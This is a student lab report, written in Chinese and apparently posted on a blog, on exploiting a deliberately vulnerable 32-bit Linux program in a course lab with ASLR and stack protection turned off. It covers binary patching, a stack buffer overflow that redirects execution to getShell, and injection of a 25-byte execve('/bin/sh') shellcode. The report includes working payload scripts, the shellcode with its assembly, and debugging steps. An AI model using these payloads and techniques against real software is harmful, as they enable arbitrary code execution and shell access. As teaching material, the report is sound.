20242316 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20242316 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.基础知识

本次实验涉及以下基础知识:

(1)ELF可执行文件与程序执行流程

Linux下的可执行文件采用ELF格式。pwn1是一个32位Linux ELF程序,正常执行流程为main调用foo函数,foo函数回显用户输入的字符串。程序中还包含一个getShell函数,正常情况下不会被调用,该函数会返回一个可用Shell。本次实验的目标就是通过三种方法让程序执行getShell或运行自己注入的Shellcode。

(2)x86 32位寄存器与栈结构

32位Linux常见寄存器包括:EIP(指令指针,指向下一条要执行的指令地址)、ESP(栈顶指针)、EBP(栈帧基址指针)以及EAX/EBX/ECX/EDX等通用寄存器。栈向低地址方向增长,函数调用时的典型栈布局如下:

高地址
+----------------+
| 调用者的栈      |
+----------------+
| 返回地址        |  ebp + 4   <- ret 会把它弹到 EIP
+----------------+
| 保存的旧 EBP    |  ebp + 0
+----------------+
| 局部变量 buf    |  ebp - N   <- gets 写入的位置
+----------------+
低地址

当foo函数中使用gets读入数据时,由于gets不检查输入长度,输入足够长的字符串可以从buf一直覆盖到返回地址。当foo执行ret时,EIP就会变成被覆盖的返回地址,从而改变程序执行流程。

(3)小端序

x86架构采用小端序存储数据,即低字节存放在低地址。例如地址0x0804847d在内存和文件中的存储顺序为7d 84 04 08。构造payload时需要用struct.pack('<I', addr)将地址转换为小端序字节序列。

(4)CALL指令与相对偏移

32位x86中,近调用call的机器码为E8 xx xx xx xx,其中xx xx xx xx是相对偏移而非绝对地址。计算方式为:

偏移 = 目标地址 - 下一条指令地址
下一条指令地址 = call 指令地址 + 5

例如:call指令地址为0x080484b5,下一条地址为0x080484ba,getShell地址为0x0804847d,则偏移 = 0x0804847d - 0x080484ba = -0x3d,即32位补码0xffffffc3,小端序为c3 ff ff ff。

(5)必须掌握的汇编指令机器码

指令 机器码 说明
NOP 90 空操作,常作滑板
JMP rel8 EB xx 短跳转
JMP rel32 E9 xx xx xx xx 近跳转
JNE rel8 75 xx 不相等则短跳
JE rel8 74 xx 相等则短跳
CALL rel32 E8 xx xx xx xx 近调用
CMP eax, imm8 83 F8 xx 比较
RET C3 返回
LEAVE C9 恢复栈帧
PUSH EBP 55 压入旧EBP
MOV EBP, ESP 89 E5 建立栈帧

(6)缓冲区溢出攻击原理

正常流程为main -> foo -> gets -> puts -> ret -> main。如果输入超长字符串,payload结构为[buf填充][覆盖saved ebp][覆盖返回地址为getShell地址],那么foo返回时就不再回到main,而是跳转到getShell。

(7)Shellcode注入原理

Shellcode是一段用于执行特定功能的机器码,常用来执行execve("/bin/sh", NULL, NULL)以获取Shell。32位Linux常用Shellcode为:

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

长度为25字节。注入Shellcode时,需要将Shellcode放入缓冲区,然后覆盖返回地址使其跳转到Shellcode所在位置。

2.实验内容

以一个名为pwn1的Linux可执行文件为实践对象,正常执行流程是main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段getShell,会返回一个可用Shell,正常情况下这个代码不会被运行。本次实验的目标就是想办法运行这个代码片段,具体包括三个实践内容:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的BOF漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的Shellcode并运行这段Shellcode。

3.实验过程

3.1 实验准备

3.1.1 设置主机名与实验目录

将主机名设置为“学号+姓名缩写”20242316pyy,在 Kali 中创建实验目录~/awd_exp1。随后通过虚拟机共享目录把 Windows 中的pwn1传入 Kali,改名为pwn1_20242316,并备份为pwn1_20242316.bak。后续所有新文件均在文件名中保留学号,便于区分和检查。

fig01

图1:设置主机名

fig02

图2:设置虚拟机共享文件夹

fig03

图3:在 Kali 中挂载共享文件夹

fig04

图4:备份原始 pwn1 文件

3.1.2 环境与保护机制确认

执行file pwn1_20242316确认文件为32位ELF可执行文件,试运行程序输入hello后正常回显。

fig05

图5:查看文件类型并试运行

执行以下命令确认保护机制状态:

readelf -l pwn1_20242316 | grep GNU_STACK
cat /proc/sys/kernel/randomize_va_space

结果显示GNU_STACK为RWE(栈可执行),randomize_va_space为0(ASLR已关闭)。

fig08

图8:查看 GNU_STACK 权限

3.1.3 保存反汇编信息

生成反汇编文件dis_20242316.txt,查找关键函数地址:

objdump -d pwn1_20242316 > dis_20242316.txt
grep -E "<main>|<foo>|<getShell>" dis_20242316.txt

输出结果:

0804847d <getShell>:
08048491 <foo>:
080484af <main>:
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>

fig06

图6:生成反汇编文件并查看关键函数

查看.text节信息:

[13] .text  PROGBITS  08048380 000380 0001c2 00  AX  0   0 16

即.text虚拟地址为0x08048380,文件偏移为0x000380。

fig07

图7:查看 .text 节的文件偏移与虚拟地址

3.2 方法一:手工修改可执行文件,直接跳转到getShell

3.2.1 计算新的call偏移

从反汇编结果中提取:

  • call指令地址:0x080484b5
  • 下一条指令地址:0x080484b5 + 5 = 0x080484ba
  • 目标地址(getShell):0x0804847d

计算偏移:0x0804847d - 0x080484ba = -0x3d,32位补码为0xffffffc3,小端序为c3 ff ff ff。

原机器码为e8 d7 ff ff ff,需改为e8 c3 ff ff ff。

3.2.2 计算文件偏移

文件偏移 = call指令虚拟地址 - .text虚拟地址 + .text文件偏移
        = 0x080484b5 - 0x08048380 + 0x000380
        = 0x135 + 0x380
        = 0x4b5

即文件偏移0x4b5处为e8,0x4b6处为d7,需将0x4b6处的d7改为c3。

3.2.3 修改可执行文件

复制原始文件后生成十六进制文本,用vim定位并修改:

cp pwn1_20242316 pwn1_20242316_mod
xxd -g1 pwn1_20242316_mod > hex_20242316.txt
vim hex_20242316.txt

在vim中搜索e8 d7,将d7改为c3,保存退出。

fig09

图9:生成十六进制文本

fig10

图10:在 vim 中修改 call 指令的机器码

将修改后的十六进制文本还原为二进制文件并验证:

xxd -r hex_20242316.txt > pwn1_20242316_mod
chmod +x pwn1_20242316_mod
objdump -d pwn1_20242316_mod | grep -A10 "<main>"

验证结果显示:

80484b5:       e8 c3 ff ff ff          call   804847d <getShell>

原先调用foo的指令已改为调用getShell。

fig11

图11:确认二进制补丁修改成功

3.2.4 运行验证

./pwn1_20242316_mod
whoami

程序直接进入Shell,whoami输出kali。

fig12

图12:方法一运行成功后获取 Shell

3.3 方法二:利用foo函数的BOF漏洞覆盖返回地址

3.3.1 偏移量计算

分析foo函数反汇编:

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 ...
 80484ad:       c9                      leave
 80484ae:       c3                      ret

缓冲区起始地址为ebp - 0x1c,返回地址在ebp + 4,从缓冲区到返回地址的距离为:

(ebp + 4) - (ebp - 0x1c) = 4 + 0x1c = 0x20 = 32 字节

因此payload结构为:[32字节填充] + [getShell地址(4字节)]。

getShell地址为0x0804847d,小端序为7d 84 04 08。

fig13

图13:查看 foo 函数反汇编并计算栈偏移

3.3.2 生成payload

python3 - <<'PY'
import struct
offset = 32
getshell = 0x0804847d
payload = b'A' * offset + struct.pack('<I', getshell)
open('payload_bof_20242316','wb').write(payload)
print('payload 长度:', len(payload))
print('payload 十六进制:', payload.hex())
PY

输出:payload长度为36字节,十六进制为41414141414141414141414141414141414141414141414141414141414141417d840408。

fig14

图14:生成 BOF payload

3.3.3 运行攻击

(cat payload_bof_20242316; cat) | ./pwn1_20242316
whoami
id

程序先回显32个A和乱码,然后直接进入Shell,whoami输出kali,id输出完整用户组信息。

fig15

图15:方法二 BOF 攻击成功

3.4 方法三:注入自己制作的Shellcode并运行

3.4.1 自写Shellcode汇编代码

创建shellcode_20242316.asm:

BITS 32
global _start
section .text
_start:
    xor eax, eax        ; eax = 0
    push eax            ; 字符串结束符 '\0'
    push 0x68732f2f     ; "//sh"
    push 0x6e69622f     ; "/bin"
    mov ebx, esp        ; ebx = "/bin//sh"
    push eax            ; argv[1] = NULL
    push ebx            ; argv[0] = "/bin//sh"
    mov ecx, esp        ; ecx = argv
    xor edx, edx        ; edx = NULL
    mov al, 0x0b        ; execve 系统调用号 = 11
    int 0x80            ; 触发系统调用

fig16

图16:自写 Shellcode 汇编源码

3.4.2 汇编并提取机器码

sudo apt install -y nasm
nasm -f bin shellcode_20242316.asm -o shellcode_20242316.bin
xxd -p shellcode_20242316.bin

提取出的机器码:31c050682f2f7368682f62696e89e3505389e131d2b00bcd80,长度25字节。

fig17

图17:汇编并提取 Shellcode 机器码

3.4.3 测试Shellcode能否执行

编写测试程序test_shellcode_20242316.c,将Shellcode复制到栈上并通过函数指针执行:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode length: %zu\n", strlen(shellcode));
    char buf[256];
    memcpy(buf, shellcode, sizeof(shellcode));
    int (*ret)() = (int(*)())buf;
    ret();
}

fig18

图18:Shellcode 测试程序源码

编译并运行:

gcc -m32 -fno-stack-protector -z execstack -no-pie -fno-pie -O0 test_shellcode_20242316.c -o test_shellcode_20242316
./test_shellcode_20242316
whoami
id

成功获得Shell,whoami输出kali。

fig19

图19:测试程序成功获取 Shell

3.4.4 将Shellcode注入pwn1

第一步:attach真实进程获取栈地址

在终端1中以env -i方式启动pwn1:

(cat; cat) | env -i ./pwn1_20242316

在终端2中找到进程号并attach:

pgrep -af pwn1_20242316
sudo gdb -q -p PID

在 gdb 中于foo函数返回前下断点,观察真实的ebp值:

set disassembly-flavor intel
break *0x080484ad
continue

回到终端1输入64个A回车,然后在gdb中查看ebp:

info registers ebp

输出:ebp = 0xffffde08。

则缓冲区地址为ebp - 0x1c = 0xffffddec,NOP雪橇起始地址(ebp + 8)为0xffffde10。

fig21

图21:attach 真实进程并查看 EBP

fig22

图22:终端 1:启动 pwn1

fig23

图23:终端 2:在 gdb 中查看寄存器

第二步:构造payload(RNS布局)

采用[32字节填充] + [返回地址] + [NOP雪橇] + [Shellcode]的布局:

python3 - <<'PY'
import struct
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
ret_addr = 0xffffde10
payload = b"A" * 32 + struct.pack("<I", ret_addr) + b"\x90" * 20 + shellcode
with open('payload_final_20242316', 'wb') as f:
    f.write(payload + b'\n')
    f.write(b'whoami\n')
    f.write(b'id\n')
    f.write(b'exit\n')
print('返回地址 =', hex(ret_addr))
print('payload 长度 =', len(payload))
PY

输出:返回地址为0xffffde10,payload长度为81字节。

fig24

图24:生成最终 payload

第三步:运行攻击

(cat payload_final_20242316; cat) | env -i ./pwn1_20242316
whoami
id

成功获得Shell,whoami输出kali,id输出完整用户组信息。

fig25

图25:方法三最终攻击成功

4.问题及解决方案

问题1:旧版测试程序出现段错误(SIGSEGV)

测试 Shellcode 时,程序没有正常返回 Shell,而是出现 zsh: segmentation fault。

解决方案: 使用 gdb 的 info proc mappings 查看内存映射,发现崩溃地址 0x56559014 位于 rw-p 数据段,该段不可执行。原因是旧版程序把 Shellcode 放在全局数组 shellcode[] 中,编译后落在 .data 段。改为在 main 中定义栈上的 char buf[256],用 memcpy 把 Shellcode 复制到 buf,再把函数指针指向 buf;同时确认 GNU_STACK 权限为 RWE,Shellcode 随即可以正常执行。

fig20

图20:查看 ELF 段权限并分析段错误原因

问题2:gdb 内外栈地址不一致导致攻击失败

在 gdb 中直接运行 pwn1 时查到的缓冲区地址,和脱离 gdb 运行时的地址不同,按照该地址构造的 payload 无法跳转到正确位置。

解决方案: gdb 会改变环境变量和栈布局,因此不能直接用 gdb 正常启动时的栈地址。改为先在终端中通过 env -i 启动 pwn1,再在另一个终端用 sudo gdb -q -p PID attach 到真实进程,在 foo 返回前下断点,查看实际运行环境中的 ebp,据此计算 ebp - 0x1c 和返回地址。

问题3:管道与重定向造成栈偏移

attach 时和正式攻击时的启动方式不同,进程的栈布局也随之变化,导致调试时得到的地址不能用于攻击。

解决方案: attach 调试和最终攻击都使用 (cat ...; cat) | env -i ./pwn1_20242316 这种管道方式,并保持环境变量一致,避免由于父进程、输入方式和环境差异造成栈地址偏移。

问题4:早期 Shellcode 布局不稳定

最初采用 [Shellcode][NOP][返回地址] 的布置时,攻击效果不稳定。调试时发现 Shellcode 中的 push 会继续向低地址写栈,结合真实栈地址的波动,容易造成执行异常。

解决方案: 改用 RNS 布局:[32字节填充][返回地址][NOP雪橇][Shellcode]。返回地址指向 NOP 雪橇,程序先落入 NOP 区再滑到后面的 Shellcode。这样既没有让 Shellcode 紧贴返回地址,也增大了地址命中范围,最终攻击成功。

5.学习感悟、思考

这次实验是我第一次真正动手做二进制漏洞利用,收获比预想的大得多。方法一和方法二在AI的指导下做得还算顺利,按照反汇编算偏移、改机器码、构造 payload,基本没遇到太大阻碍。但方法三让我卡了很久,也正是在反复失败和排查中,我才真正理解了一些书本上没有的细节。

一开始我把 shellcode 放在返回地址前面,结果一直段错误。后来用 gdb 单步调试才发现,shellcode 执行时的 push 指令会向下覆盖栈上的数据,恰好把自己后面还没执行的指令改掉了。改成“填充 + 返回地址 + NOP 滑道 + shellcode”的结构后,问题才解决。这让我明白,payload 的布局不是随便排的,必须考虑指令执行时栈指针的变化。

另一个让我印象深刻的问题是 gdb 内外栈地址不一致。我在 gdb 里查到的缓冲区地址,拿到真实终端里运行就失效。后来学会用 attach 的方式,先在终端启动程序,再用 gdb 附加到真实进程上查 ebp,才算拿到可用的地址。我还犯过把 python3 命令直接输进 gdb 的乌龙,现在能清楚区分终端命令和 gdb 命令了。

通过 readelf 和 info proc mappings 查看段权限,我直观地看到了数据段 rw-p 和栈段 rwxp 的区别,也理解了 NX 保护的实际作用。实验环境关闭了 ASLR 和栈保护,攻击才得以成功,这反过来让我意识到这些防护机制的重要性。

这次实验也让我对“细节决定成败”有了更具体的体会。一个字节的地址写错、一次运行环境的变化,都会让攻击失败。排查问题的过程虽然很磨人,但每次找到原因后,对栈结构、函数调用和程序加载的理解都会更深一层。这次实验让我对缓冲区溢出有了切身体会,也让我对网络攻防产生了更浓厚的兴趣。

参考资料

posted @ 2026-10-11 19:28  chouhound913  阅读(8)  评论(1)    收藏  举报